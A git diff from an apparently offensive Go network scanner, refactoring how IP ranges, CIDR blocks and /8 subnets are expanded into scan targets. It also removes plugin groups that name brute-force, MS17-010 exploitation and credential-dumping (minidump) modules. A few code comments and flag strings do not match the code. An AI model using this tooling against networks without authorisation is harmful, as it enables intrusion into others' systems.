removeDuplicateIPs(hosts) LogInfo(GetText("final_valid_hosts", len(hosts))) // 检查解析结果 if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") { - return nil, ParseIPErr + return nil, ErrParseIP } return hosts, nil } -func ParseIPs(ip string) (hosts []string) { - if strings.Contains(ip, ",") { - IPList := strings.Split(ip, ",") - var ips []string - for _, ip := range IPList { - ips = parseIP(ip) - hosts = append(hosts, ips...) +// parseIPList 解析逗号分隔的IP地址列表 +// 参数: +// - ipList: 逗号分隔的IP地址列表字符串 +// +// 返回: +// - []string: 解析后的IP地址列表 +func parseIPList(ipList string) []string { + var result []string + + // 处理逗号分隔的IP列表 + if strings.Contains(ipList, ",") { + ips := strings.Split(ipList, ",") + for _, ip := range ips { + if parsed := parseSingleIP(ip); len(parsed) > 0 { + result = append(result, parsed...) + } } - } else { - hosts = parseIP(ip) + } else if ipList != "" { + // 解析单个IP地址或范围 + result = parseSingleIP(ipList) } - return hosts + + return result } -func parseIP(ip string) []string { - reg := regexp.MustCompile(`[a-zA-Z]+`) +// parseSingleIP 解析单个IP地址或IP范围 +// 支持多种格式: +// - 普通IP: 192.168.1.1 +// - 简写网段: 192, 172, 10 +// - CIDR: 192.168.0.0/24 +// - 范围: 192.168.1.1-192.168.1.100 或 192.168.1.1-100 +// - 域名: example.com +// 参数: +// - ip: IP地址或范围字符串 +// +// 返回: +// - []string: 解析后的IP地址列表 +func parseSingleIP(ip string) []string { + // 检测是否包含字母(可能是域名) + isAlpha := regexp.MustCompile(`[a-zA-Z]+`).MatchString(ip) + // 根据不同格式解析IP switch { case ip == "192": - return parseIP("192.168.0.0/16") + // 常用内网段简写 + return parseSingleIP("192.168.0.0/16") case ip == "172": - return parseIP("172.16.0.0/12") + // 常用内网段简写 + return parseSingleIP("172.16.0.0/12") case ip == "10": - return parseIP("10.0.0.0/8") + // 常用内网段简写 + return parseSingleIP("10.0.0.0/8") case strings.HasSuffix(ip, "/8"): - return parseIP8(ip) + // 处理/8网段(使用采样方式) + return parseSubnet8(ip) case strings.Contains(ip, "/"): - return parseIP2(ip) - case reg.MatchString(ip): + // 处理CIDR格式 + return parseCIDR(ip) + case isAlpha: + // 处理域名,直接返回 return []string{ip} case strings.Contains(ip, "-"): - return parseIP1(ip) + // 处理IP范围 + return parseIPRange(ip) default: - testIP := net.ParseIP(ip) - if testIP == nil { - LogError(GetText("invalid_ip_format", ip)) - return nil + // 尝试解析为单个IP地址 + if testIP := net.ParseIP(ip); testIP != nil { + return []string{ip} } - return []string{ip} + LogError(GetText("invalid_ip_format", ip)) + return nil } } -// parseIP2 解析CIDR格式的IP地址段 -func parseIP2(host string) []string { - _, ipNet, err := net.ParseCIDR(host) +// parseCIDR 解析CIDR格式的IP地址段 +// 例如: 192.168.1.0/24 +// 参数: +// - cidr: CIDR格式的IP地址段 +// +// 返回: +// - []string: 展开后的IP地址列表 +func parseCIDR(cidr string) []string { + // 解析CIDR格式 + _, ipNet, err := net.ParseCIDR(cidr) if err != nil { - LogError(GetText("cidr_parse_failed", host, err)) + LogError(GetText("cidr_parse_failed", cidr, err)) return nil } - ipRange := IPRange(ipNet) - hosts := parseIP1(ipRange) - LogInfo(GetText("parse_cidr_to_range", host, ipRange)) + // 转换为IP范围 + ipRange := calculateIPRange(ipNet) + hosts := parseIPRange(ipRange) + LogInfo(GetText("parse_cidr_to_range", cidr, ipRange)) return hosts } -// parseIP1 解析IP范围格式的地址 -func parseIP1(ip string) []string { - ipRange := strings.Split(ip, "-") - testIP := net.ParseIP(ipRange[0]) - var allIP []string +// calculateIPRange 计算CIDR的起始IP和结束IP +// 例如: 192.168.1.0/24 -> 192.168.1.0-192.168.1.255 +// 参数: +// - cidr: 解析后的IPNet对象 +// +// 返回: +// - string: 格式为"起始IP-结束IP"的范围字符串 +func calculateIPRange(cidr *net.IPNet) string { + // 获取网络起始IP + start := cidr.IP.String() + mask := cidr.Mask - // 处理简写格式 (192.168.111.1-255) - if len(ipRange[1]) < 4 { - endNum, err := strconv.Atoi(ipRange[1]) - if testIP == nil || endNum > 255 || err != nil { - LogError(GetText("ip_range_format_error", ip)) - return nil - } - - splitIP := strings.Split(ipRange[0], ".") - startNum, err1 := strconv.Atoi(splitIP[3]) - endNum, err2 := strconv.Atoi(ipRange[1]) - prefixIP := strings.Join(splitIP[0:3], ".") - - if startNum > endNum || err1 != nil || err2 != nil { - LogError(GetText("invalid_ip_range", startNum, endNum)) - return nil - } - - for i := startNum; i <= endNum; i++ { - allIP = append(allIP, prefixIP+"."+strconv.Itoa(i)) - } - - LogInfo(GetText("generate_ip_range", prefixIP, startNum, prefixIP, endNum)) - } else { - // 处理完整IP范围格式 - splitIP1 := strings.Split(ipRange[0], ".") - splitIP2 := strings.Split(ipRange[1], ".") - - if len(splitIP1) != 4 || len(splitIP2) != 4 { - LogError(GetText("ip_format_error", ip)) - return nil - } - - start, end := [4]int{}, [4]int{} - for i := 0; i < 4; i++ { - ip1, err1 := strconv.Atoi(splitIP1[i]) - ip2, err2 := strconv.Atoi(splitIP2[i]) - if ip1 > ip2 || err1 != nil || err2 != nil { - LogError(GetText("invalid_ip_range", ipRange[0], ipRange[1])) - return nil - } - start[i], end[i] = ip1, ip2 - } - - startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3] - endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3] - - for num := startNum; num <= endNum; num++ { - ip := strconv.Itoa((num>>24)&0xff) + "." + - strconv.Itoa((num>>16)&0xff) + "." + - strconv.Itoa((num>>8)&0xff) + "." + - strconv.Itoa((num)&0xff) - allIP = append(allIP, ip) - } - - LogInfo(GetText("generate_ip_range", ipRange[0], ipRange[1])) - } - - return allIP -} - -// IPRange 计算CIDR的起始IP和结束IP -func IPRange(c *net.IPNet) string { - start := c.IP.String() - mask := c.Mask - bcst := make(net.IP, len(c.IP)) - copy(bcst, c.IP) + // 计算广播地址(最后一个IP) + bcst := make(net.IP, len(cidr.IP)) + copy(bcst, cidr.IP) + // 将网络掩码按位取反,然后与IP地址按位或,得到广播地址 for i := 0; i < len(mask); i++ { ipIdx := len(bcst) - i - 1 - bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1] + bcst[ipIdx] = cidr.IP[ipIdx] | ^mask[len(mask)-i-1] } end := bcst.String() @@ -221,8 +192,218 @@ func IPRange(c *net.IPNet) string { return result } -// Readipfile 从文件中按行读取IP地址 -func Readipfile(filename string) ([]string, error) { +// parseIPRange 解析IP范围格式的地址 +// 支持两种格式: +// - 完整格式: 192.168.1.1-192.168.1.100 +// - 简写格式: 192.168.1.1-100 +// 参数: +// - ipRange: IP范围字符串 +// +// 返回: +// - []string: 展开后的IP地址列表 +func parseIPRange(ipRange string) []string { + parts := strings.Split(ipRange, "-") + if len(parts) != 2 { + LogError(GetText("ip_range_format_error", ipRange)) + return nil + } + + startIP := parts[0] + endIP := parts[1] + + // 验证起始IP + if net.ParseIP(startIP) == nil { + LogError(GetText("invalid_ip_format", startIP)) + return nil + } + + // 处理简写格式 (如: 192.168.1.1-100) + if len(endIP) < 4 || !strings.Contains(endIP, ".") { + return parseShortIPRange(startIP, endIP) + } else { + // 处理完整格式 (如: 192.168.1.1-192.168.1.100) + return parseFullIPRange(startIP, endIP) + } +} + +// parseShortIPRange 解析简写格式的IP范围 +// 例如: 192.168.1.1-100 表示从192.168.1.1到192.168.1.100 +// 参数: +// - startIP: 起始IP +// - endSuffix: 结束IP的最后一部分 +// +// 返回: +// - []string: 展开后的IP地址列表 +func parseShortIPRange(startIP, endSuffix string) []string { + var allIP []string + + // 将结束段转换为数字 + endNum, err := strconv.Atoi(endSuffix) + if err != nil || endNum > 255 { + LogError(GetText("ip_range_format_error", startIP+"-"+endSuffix)) + return nil + } + + // 分解起始IP + ipParts := strings.Split(startIP, ".") + if len(ipParts) != 4 { + LogError(GetText("ip_format_error", startIP)) + return nil + } + + // 获取前缀和起始IP的最后一部分 + prefixIP := strings.Join(ipParts[0:3], ".") + startNum, err := strconv.Atoi(ipParts[3]) + if err != nil || startNum > endNum { + LogError(GetText("invalid_ip_range", startNum, endNum)) + return nil + } + + // 生成IP范围 + for i := startNum; i <= endNum; i++ { + allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i)) + } + + LogInfo(GetText("generate_ip_range", prefixIP, startNum, prefixIP, endNum)) + return allIP +} + +// parseFullIPRange 解析完整格式的IP范围 +// 例如: 192.168.1.1-192.168.2.100 +// 参数: +// - startIP: 起始IP +// - endIP: 结束IP +// +// 返回: +// - []string: 展开后的IP地址列表 +func parseFullIPRange(startIP, endIP string) []string { + var allIP []string + + // 验证结束IP + if net.ParseIP(endIP) == nil { + LogError(GetText("invalid_ip_format", endIP)) + return nil + } + + // 分解起始IP和结束IP + startParts := strings.Split(startIP, ".") + endParts := strings.Split(endIP, ".") + + if len(startParts) != 4 || len(endParts) != 4 { + LogError(GetText("ip_format_error", startIP+"-"+endIP)) + return nil + } + + // 转换为整数数组 + var start, end [4]int + for i := 0; i < 4; i++ { + var err1, err2 error + start[i], err1 = strconv.Atoi(startParts[i]) + end[i], err2 = strconv.Atoi(endParts[i]) + + if err1 != nil || err2 != nil || start[i] > 255 || end[i] > 255 { + LogError(GetText("ip_format_error", startIP+"-"+endIP)) + return nil + } + } + + // 计算IP地址的整数表示 + startInt := (start[0] << 24) | (start[1] << 16) | (start[2] << 8) | start[3] + endInt := (end[0] << 24) | (end[1] << 16) | (end[2] << 8) | end[3] + + // 检查范围的有效性 + if startInt > endInt { + LogError(GetText("invalid_ip_range", startIP, endIP)) + return nil + } + + // 限制IP范围的大小,防止生成过多IP导致内存问题 + if endInt-startInt > 65535 { + LogError(GetText("ip_range_too_large", startIP, endIP)) + // 可以考虑在这里实现采样或截断策略 + } + + // 生成IP范围 + for ipInt := startInt; ipInt <= endInt; ipInt++ { + ip := fmt.Sprintf("%d.%d.%d.%d", + (ipInt>>24)&0xFF, + (ipInt>>16)&0xFF, + (ipInt>>8)&0xFF, + ipInt&0xFF) + allIP = append(allIP, ip) + } + + LogInfo(GetText("generate_ip_range_full", startIP, endIP, len(allIP))) + return allIP +} + +// parseSubnet8 解析/8网段的IP地址,生成采样IP列表 +// 由于/8网段包含1600多万个IP,因此采用采样方式 +// 参数: +// - subnet: CIDR格式的/8网段 +// +// 返回: +// - []string: 采样的IP地址列表 +func parseSubnet8(subnet string) []string { + // 去除CIDR后缀获取基础IP + baseIP := subnet[:len(subnet)-2] + if net.ParseIP(baseIP) == nil { + LogError(GetText("invalid_ip_format", baseIP)) + return nil + } + + // 获取/8网段的第一段 + firstOctet := strings.Split(baseIP, ".")[0] + var sampleIPs []string + + LogInfo(GetText("parse_subnet", firstOctet)) + + // 预分配足够的容量以提高性能 + // 每个二级网段10个IP,共256*256个二级网段 + sampleIPs = make([]string, 0, 10) + + // 对常用网段进行更全面的扫描 + commonSecondOctets := []int{0, 1, 2, 10, 100, 200, 254} + + // 对于每个选定的第二段,采样部分第三段 + for _, secondOctet := range commonSecondOctets { + for thirdOctet := 0; thirdOctet < 256; thirdOctet += 10 { + // 添加常见的网关和服务器IP + sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet)) // 默认网关 + sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.254", firstOctet, secondOctet, thirdOctet)) // 通常用于路由器/交换机 + + // 随机采样不同范围的主机IP + fourthOctet := randomInt(2, 253) + sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, fourthOctet)) + } + } + + // 对其他二级网段进行稀疏采样 + samplingStep := 32 // 每32个二级网段采样1个 + for secondOctet := 0; secondOctet < 256; secondOctet += samplingStep { + for thirdOctet := 0; thirdOctet < 256; thirdOctet += samplingStep { + // 对于采样的网段,取几个代表性IP + sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet)) + sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, randomInt(2, 253))) + } + } + + LogInfo(GetText("sample_ip_generated", len(sampleIPs))) + return sampleIPs +} + +// readIPFile 从文件中按行读取IP地址 +// 支持两种格式: +// - 每行一个IP或IP范围 +// - IP:PORT 格式指定端口 +// 参数: +// - filename: 包含IP地址的文件路径 +// +// 返回: +// - []string: 解析后的IP地址列表 +// - error: 读取和解析过程中的错误 +func readIPFile(filename string) ([]string, error) { + // 打开文件 file, err := os.Open(filename) if err != nil { LogError(GetText("open_file_failed", filename, err)) @@ -230,105 +411,139 @@ func Readipfile(filename string) ([]string, error) { } defer file.Close() - var content []string + var ipList []string scanner := bufio.NewScanner(file) scanner.Split(bufio.ScanLines) + // 逐行处理 + lineCount := 0 for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) - if line == "" { - continue + if line == "" || strings.HasPrefix(line, "#") { + continue // 跳过空行和注释行 } - text := strings.Split(line, ":") - if len(text) == 2 { - port := strings.Split(text[1], " ")[0] - num, err := strconv.Atoi(port) - if err != nil || num < 1 || num > 65535 { - LogError(GetText("invalid_port", line)) - continue - } + lineCount++ - hosts := ParseIPs(text[0]) - for _, host := range hosts { - HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port)) + // 处理IP:PORT格式 + if strings.Contains(line, ":") { + parts := strings.Split(line, ":") + if len(parts) == 2 { + // 提取端口部分,处理可能的注释 + portPart := strings.Split(parts[1], " ")[0] + portPart = strings.Split(portPart, "#")[0] + port, err := strconv.Atoi(portPart) + + // 验证端口有效性 + if err != nil || port < 1 || port > 65535 { + LogError(GetText("invalid_port", line)) + continue + } + + // 解析IP部分并与端口组合 + hosts := parseIPList(parts[0]) + for _, host := range hosts { + HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, portPart)) + } + LogInfo(GetText("parse_ip_port", line)) + } else { + LogError(GetText("invalid_ip_port_format", line)) } - LogInfo(GetText("parse_ip_port", line)) } else { - hosts := ParseIPs(line) - content = append(content, hosts...) + // 处理纯IP格式 + hosts := parseIPList(line) + ipList = append(ipList, hosts...) LogInfo(GetText("parse_ip_address", line)) } } + // 检查扫描过程中的错误 if err := scanner.Err(); err != nil { LogError(GetText("read_file_error", err)) - return content, err + return ipList, err } - LogInfo(GetText("file_parse_complete", len(content))) - return content, nil + LogInfo(GetText("file_parse_complete", len(ipList))) + return ipList, nil } -// RemoveDuplicate 对字符串切片进行去重 -func RemoveDuplicate(old []string) []string { - temp := make(map[string]struct{}) - var result []string - - for _, item := range old { - if _, exists := temp[item]; !exists { - temp[item] = struct{}{} - result = append(result, item) - } +// excludeHosts 从主机列表中排除指定的主机 +// 参数: +// - hosts: 原始主机列表 +// - nohosts: 需要排除的主机列表(可选) +// +// 返回: +// - []string: 排除后的主机列表 +func excludeHosts(hosts []string, nohosts []string) []string { + // 如果没有需要排除的主机,直接返回原列表 + if len(nohosts) == 0 || nohosts[0] == "" { + return hosts } + // 解析排除列表 + excludeList := parseIPList(nohosts[0]) + if len(excludeList) == 0 { + return hosts + } + + // 使用map存储有效主机,提高查找效率 + hostMap := make(map[string]struct{}, len(hosts)) + for _, host := range hosts { + hostMap[host] = struct{}{} + } + + // 从map中删除需要排除的主机 + for _, host := range excludeList { + delete(hostMap, host) + } + + // 重建主机列表 + result := make([]string, 0, len(hostMap)) + for host := range hostMap { + result = append(result, host) + } + + // 排序以保持结果的稳定性 + sort.Strings(result) + LogInfo(GetText("hosts_excluded", len(excludeList))) + return result } -// parseIP8 解析/8网段的IP地址 -func parseIP8(ip string) []string { - // 去除CIDR后缀获取基础IP - realIP := ip[:len(ip)-2] - testIP := net.ParseIP(realIP) - - if testIP == nil { - LogError(GetText("invalid_ip_format", realIP)) - return nil +// removeDuplicateIPs 去除重复的IP地址 +// 参数: +// - ips: 包含可能重复项的IP地址列表 +// +// 返回: +// - []string: 去重后的IP地址列表 +func removeDuplicateIPs(ips []string) []string { + // 使用map去重 + ipMap := make(map[string]struct{}, len(ips)) + for _, ip := range ips { + ipMap[ip] = struct{}{} } - // 获取/8网段的第一段 - ipRange := strings.Split(ip, ".")[0] - var allIP []string - - LogInfo(GetText("parse_subnet", ipRange)) - - // 遍历所有可能的第二、三段 - for a := 0; a <= 255; a++ { - for b := 0; b <= 255; b++ { - // 添加常用网关IP - allIP = append(allIP, fmt.Sprintf("%s.%d.%d.1", ipRange, a, b)) // 默认网关 - allIP = append(allIP, fmt.Sprintf("%s.%d.%d.2", ipRange, a, b)) // 备用网关 - allIP = append(allIP, fmt.Sprintf("%s.%d.%d.4", ipRange, a, b)) // 常用服务器 - allIP = append(allIP, fmt.Sprintf("%s.%d.%d.5", ipRange, a, b)) // 常用服务器 - - // 随机采样不同范围的IP - allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(6, 55))) // 低段随机 - allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(56, 100))) // 中低段随机 - allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(101, 150))) // 中段随机 - allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(151, 200))) // 中高段随机 - allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(201, 253))) // 高段随机 - allIP = append(allIP, fmt.Sprintf("%s.%d.%d.254", ipRange, a, b)) // 广播地址前 - } + // 创建结果切片并添加唯一的IP + result := make([]string, 0, len(ipMap)) + for ip := range ipMap { + result = append(result, ip) } - LogInfo(GetText("sample_ip_generated", len(allIP))) - return allIP + // 排序以保持结果的稳定性 + sort.Strings(result) + return result } -// RandInt 生成指定范围内的随机整数 -func RandInt(min, max int) int { - if min >= max || min == 0 || max == 0 { +// randomInt 生成指定范围内的随机整数 +// 参数: +// - min: 最小值(包含) +// - max: 最大值(包含) +// +// 返回: +// - int: 生成的随机数 +func randomInt(min, max int) int { + if min >= max || min < 0 || max <= 0 { return max } - return rand.Intn(max-min) + min + return rand.Intn(max-min+1) + min } diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go deleted file mode 100644 index 786d5ce..0000000 --- a/Common/ParseScanMode.go +++ /dev/null @@ -1,95 +0,0 @@ -package Common - -// 扫描模式常量 - 使用大写开头表示这是一个预设的扫描模式 -const ( - ModeAll = "All" // 全量扫描 - ModeBasic = "Basic" // 基础扫描 - ModeDatabase = "Database" // 数据库扫描 - ModeWeb = "Web" // Web扫描 - ModeService = "Service" // 服务扫描 - ModeVul = "Vul" // 漏洞扫描 - ModePort = "Port" // 端口扫描 - ModeICMP = "ICMP" // ICMP探测 - ModeLocal = "Local" // 本地信息收集 -) - -// 插件分类映射表 - 所有插件名使用小写 -var PluginGroups = map[string][]string{ - ModeAll: { - "webtitle", "webpoc", // web类 - "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 - "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", "cassandra", "neo4j", // 数据库类 - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "modbus", "rsync", // 服务类 - "ms17010", "smbghost", "smb2", // 漏洞类 - "findnet", // 其他 - }, - ModeBasic: { - "webtitle", "ftp", "ssh", "smb", "findnet", - }, - ModeDatabase: { - "mysql", "mssql", "redis", "mongodb", - "postgres", "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", "cassandra", "neo4j", - }, - ModeWeb: { - "webtitle", "webpoc", - }, - ModeService: { - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "modbus", "rsync", - }, - ModeVul: { - "ms17010", "smbghost", "smb2", - }, - ModeLocal: { - "localinfo", "minidump", "dcinfo", - }, -} - -// ParseScanMode 解析扫描模式 -func ParseScanMode(mode string) { - LogInfo(GetText("parse_scan_mode", mode)) - - // 检查是否是预设模式 - presetModes := []string{ - ModeAll, ModeBasic, ModeDatabase, ModeWeb, - ModeService, ModeVul, ModePort, ModeICMP, ModeLocal, - } - - for _, presetMode := range presetModes { - if mode == presetMode { - ScanMode = mode - if plugins := GetPluginsForMode(mode); plugins != nil { - LogInfo(GetText("using_preset_mode_plugins", mode, plugins)) - } else { - LogInfo(GetText("using_preset_mode", mode)) - } - return - } - } - - // 检查是否是有效的插件名 - if _, exists := PluginManager[mode]; exists { - ScanMode = mode - LogInfo(GetText("using_single_plugin", mode)) - return - } - - // 默认使用All模式 - ScanMode = ModeAll - LogInfo(GetText("using_default_mode", ModeAll)) - LogInfo(GetText("included_plugins", PluginGroups[ModeAll])) -} - -// GetPluginsForMode 获取指定模式下的插件列表 -func GetPluginsForMode(mode string) []string { - plugins, exists := PluginGroups[mode] - if exists { - return plugins - } - return nil -} - -// 辅助函数 -func IsPortScan() bool { return ScanMode == ModePort } -func IsICMPScan() bool { return ScanMode == ModeICMP } -func IsWebScan() bool { return ScanMode == ModeWeb } -func GetScanMode() string { return ScanMode } diff --git a/Common/i18n.go b/Common/i18n.go index 19aa850..195eae2 100644 --- a/Common/i18n.go +++ b/Common/i18n.go @@ -234,70 +234,51 @@ var i18nMap = map[string]map[string]string{ "Пример: -p main, -p 80,443, -p 1-1000", }, "flag_scan_mode": { - LangZH: "指定扫描模式:\n" + - "预设模式:\n" + - " - All: 全量扫描\n" + - " - Basic: 基础扫描(Web/FTP/SSH等)\n" + - " - Database: 数据库扫描\n" + - " - Web: Web服务扫描\n" + - " - Service: 常见服务扫描\n" + - " - Vul: 漏洞扫描\n" + - " - Port: 端口扫描\n" + - " - ICMP: 存活探测\n" + - " - Local: 本地信息\n" + - "单项扫描:\n" + - " - web/db: mysql,redis等\n" + - " - service: ftp,ssh等\n" + - " - vul: ms17010等", + LangZH: "指定要使用的扫描插件:\n" + + " - All: 使用所有非敏感插件\n" + + " - 单个插件: 如 ssh, redis, mysql\n" + + " - 多个插件: 使用逗号分隔,如 ssh,ftp,redis\n\n" + + "插件分类:\n" + + " - 服务类: ssh, ftp, telnet, smb, rdp, vnc...\n" + + " - 数据库类: mysql, redis, mongodb, postgres...\n" + + " - Web类: webtitle, webpoc...\n" + + " - 漏洞类: ms17010...\n" + + " - 本地类: localinfo, dcinfo, minidump (需明确指定)", - LangEN: "Specify scan mode:\n" + - "Preset modes:\n" + - " - All: Full scan\n" + - " - Basic: Basic scan(Web/FTP/SSH)\n" + - " - Database: Database scan\n" + - " - Web: Web service scan\n" + - " - Service: Common service scan\n" + - " - Vul: Vulnerability scan\n" + - " - Port: Port scan\n" + - " - ICMP: Alive detection\n" + - " - Local: Local info\n" + - "Single scan:\n" + - " - web/db: mysql,redis etc\n" + - " - service: ftp,ssh etc\n" + - " - vul: ms17010 etc", + LangEN: "Specify scan plugins to use:\n" + + " - All: Use all non-sensitive plugins\n" + + " - Single plugin: e.g., ssh, redis, mysql\n" + + " - Multiple plugins: comma-separated, e.g., ssh,ftp,redis\n\n" + + "Plugin categories:\n" + + " - Services: ssh, ftp, telnet, smb, rdp, vnc...\n" + + " - Databases: mysql, redis, mongodb, postgres...\n" + + " - Web: webtitle, webpoc...\n" + + " - Vulnerabilities: ms17010...\n" + + " - Local: localinfo, dcinfo, minidump (must be explicitly specified)", - LangJA: "スキャンモードを指定:\n" + - "プリセットモード:\n" + - " - All: フルスキャン\n" + - " - Basic: 基本スキャン(Web/FTP/SSH)\n" + - " - Database: データベーススキャン\n" + - " - Web: Webサービススキャン\n" + - " - Service: 一般サービススキャン\n" + - " - Vul: 脆弱性スキャン\n" + - " - Port: ポートスキャン\n" + - " - ICMP: 生存確認\n" + - " - Local: ローカル情報\n" + - "単一スキャン:\n" + - " - web/db: mysql,redis など\n" + - " - service: ftp,ssh など\n" + - " - vul: ms17010 など", + LangJA: "使用するスキャンプラグインを指定:\n" + + " - All: すべての非機密プラグインを使用\n" + + " - 単一プラグイン: 例 ssh, redis, mysql\n" + + " - 複数プラグイン: カンマ区切り、例 ssh,ftp,redis\n\n" + + "プラグインカテゴリ:\n" + + " - サービス: ssh, ftp, telnet, smb, rdp, vnc...\n" + + " - データベース: mysql, redis, mongodb, postgres...\n" + + " - Web: webtitle, webpoc...\n" + + " - 脆弱性: ms17010...\n" + + " - ローカル: localinfo, dcinfo, minidump (明示的に指定が必要)", - LangRU: "Укажите режим сканирования:\n" + - "Предустановки:\n" + - " - All: Полное сканирование\n" + - " - Basic: Базовое сканирование(Web/FTP/SSH)\n" + - " - Database: Сканирование БД\n" + - " - Web: Веб-сервисы\n" + - " - Service: Общие службы\n" + - " - Vul: Уязвимости\n" + - " - Port: Порты\n" + - " - ICMP: Обнаружение\n" + - " - Local: Локальная информация\n" + - "Одиночное сканирование:\n" + - " - web/db: mysql,redis и др\n" + - " - service: ftp,ssh и др\n" + - " - vul: ms17010 и др", + LangRU: "Укажите используемые плагины сканирования:\n" + + " - All: Использовать все неконфиденциальные плагины\n" + + " - Один плагин: например, ssh, redis, mysql\n" + + " - Несколько плагинов: через запятую, например ssh,ftp,redis\n\n" + + "Категории плагинов:\n" + + " - Сервисы: ssh, ftp, telnet, smb, rdp, vnc...\n" + + " - Базы данных: mysql, redis, mongodb, postgres...\n" + + " - Веб: webtitle, webpoc...\n" + + " - Уязвимости: ms17010...\n" + + " - Локальные: localinfo, dcinfo, minidump (требуется явное указание)", }, + "flag_exclude_hosts": { LangZH: "排除指定主机范围,支持CIDR格式,如: 192.168.1.1/24", LangEN: "Exclude host ranges, supports CIDR format, e.g.: 192.168.1.1/24", @@ -368,6 +349,20 @@ var i18nMap = map[string]map[string]string{ LangRU: "Показать только указанное количество активных хостов", }, + "flag_module_thread_num": { + LangZH: "设置每个模块的最大线程数(默认:10)", + LangEN: "Set maximum threads per module (default:10)", + LangJA: "モジュールごとの最大スレッド数を設定(デフォルト:10)", + LangRU: "Установить максимальное количество потоков на модуль (по умолчанию:10)", + }, + + "flag_global_timeout": { + LangZH: "设置全局扫描超时时间(单位:秒,默认:180)", + LangEN: "Set global scan timeout (in seconds, default:180)", + LangJA: "グローバルスキャンのタイムアウトを設定(秒単位、デフォルト:180)", + LangRU: "Установить глобальный таймаут сканирования (в секундах, по умолчанию:180)", + }, + "flag_disable_ping": { LangZH: "禁用主机存活探测", LangEN: "Disable host alive detection", @@ -382,14 +377,7 @@ var i18nMap = map[string]map[string]string{ LangRU: "Использовать системную команду ping вместо ICMP-зондирования", }, - "flag_command": { - LangZH: "指定要执行的系统命令(支持ssh和wmiexec)", - LangEN: "Specify system command to execute (supports ssh and wmiexec)", - LangJA: "実行するシステムコマンドを指定(sshとwmiexecをサポート)", - LangRU: "Указать системную команду для выполнения (поддерживает ssh и wmiexec)", - }, - - "flag_skip_fingerprint": { + "flag_enable_fingerprint": { LangZH: "跳过端口指纹识别", LangEN: "Skip port fingerprint identification", LangJA: "ポートフィンガープリント識別をスキップ", @@ -638,13 +626,6 @@ var i18nMap = map[string]map[string]string{ LangRU: "Отключить цветной вывод", }, - "flag_json_format": { - LangZH: "以JSON格式输出结果", - LangEN: "Output results in JSON format", - LangJA: "結果をJSON形式で出力", - LangRU: "Вывести результаты в формате JSON", - }, - "flag_log_level": { LangZH: "日志输出级别(ALL/SUCCESS/ERROR/INFO/DEBUG)", LangEN: "Log output level (ALL/SUCCESS/ERROR/INFO/DEBUG)", @@ -658,6 +639,21 @@ var i18nMap = map[string]map[string]string{ LangJA: "プログレスバー表示を有効化", LangRU: "Включить отображение индикатора выполнения", }, + + "flag_show_scan_plan": { + LangZH: "显示扫描计划详情", + LangEN: "Show scan plan details", + LangJA: "スキャン計画の詳細を表示する", + LangRU: "Показать детали плана сканирования", + }, + + "flag_slow_log_output": { + LangZH: "启用慢速日志输出,便于肉眼观察", + LangEN: "Enable slow log output for better visual observation", + LangJA: "目視観察のための低速ログ出力を有効にする", + LangRU: "Включить медленный вывод журнала для лучшего визуального наблюдения", + }, + "no_username_specified": { LangZH: "加载用户名: %d 个", LangEN: "Loaded usernames: %d", @@ -754,12 +750,7 @@ var i18nMap = map[string]map[string]string{ LangJA: "パラメータ -h、-u、-local は同時に使用できません", LangRU: "Параметры -h, -u, -local нельзя использовать одновременно", }, - //"brute_threads": { - // LangZH: "暴力破解线程数: %d", - // LangEN: "Brute force threads: %d", - // LangJA: "ブルートフォーススレッド数: %d", - // LangRU: "Потоков для брутфорса: %d", - //}, + "extra_ports": { LangZH: "额外端口: %s", LangEN: "Extra ports: %s", @@ -999,42 +990,6 @@ var i18nMap = map[string]map[string]string{ LangJA: "有効なポート数: %d", LangRU: "Количество действительных портов: %d", }, - "parse_scan_mode": { - LangZH: "解析扫描模式: %s", - LangEN: "Parse scan mode: %s", - LangJA: "スキャンモードを解析: %s", - LangRU: "Разбор режима сканирования: %s", - }, - "using_preset_mode": { - LangZH: "使用预设模式: %s", - LangEN: "Using preset mode: %s", - LangJA: "プリセットモードを使用: %s", - LangRU: "Использование предустановленного режима: %s", - }, - "using_preset_mode_plugins": { - LangZH: "使用预设模式: %s, 包含插件: %v", - LangEN: "Using preset mode: %s, included plugins: %v", - LangJA: "プリセットモードを使用: %s, 含まれるプラグイン: %v", - LangRU: "Использование предустановленного режима: %s, включенные плагины: %v", - }, - "using_single_plugin": { - LangZH: "使用单个插件: %s", - LangEN: "Using single plugin: %s", - LangJA: "単一のプラグインを使用: %s", - LangRU: "Использование одного плагина: %s", - }, - "using_default_mode": { - LangZH: "未识别的模式,使用默认模式: %s", - LangEN: "Unrecognized mode, using default mode: %s", - LangJA: "認識できないモード、デフォルトモードを使用: %s", - LangRU: "Нераспознанный режим, использование режима по умолчанию: %s", - }, - "included_plugins": { - LangZH: "包含插件: %v", - 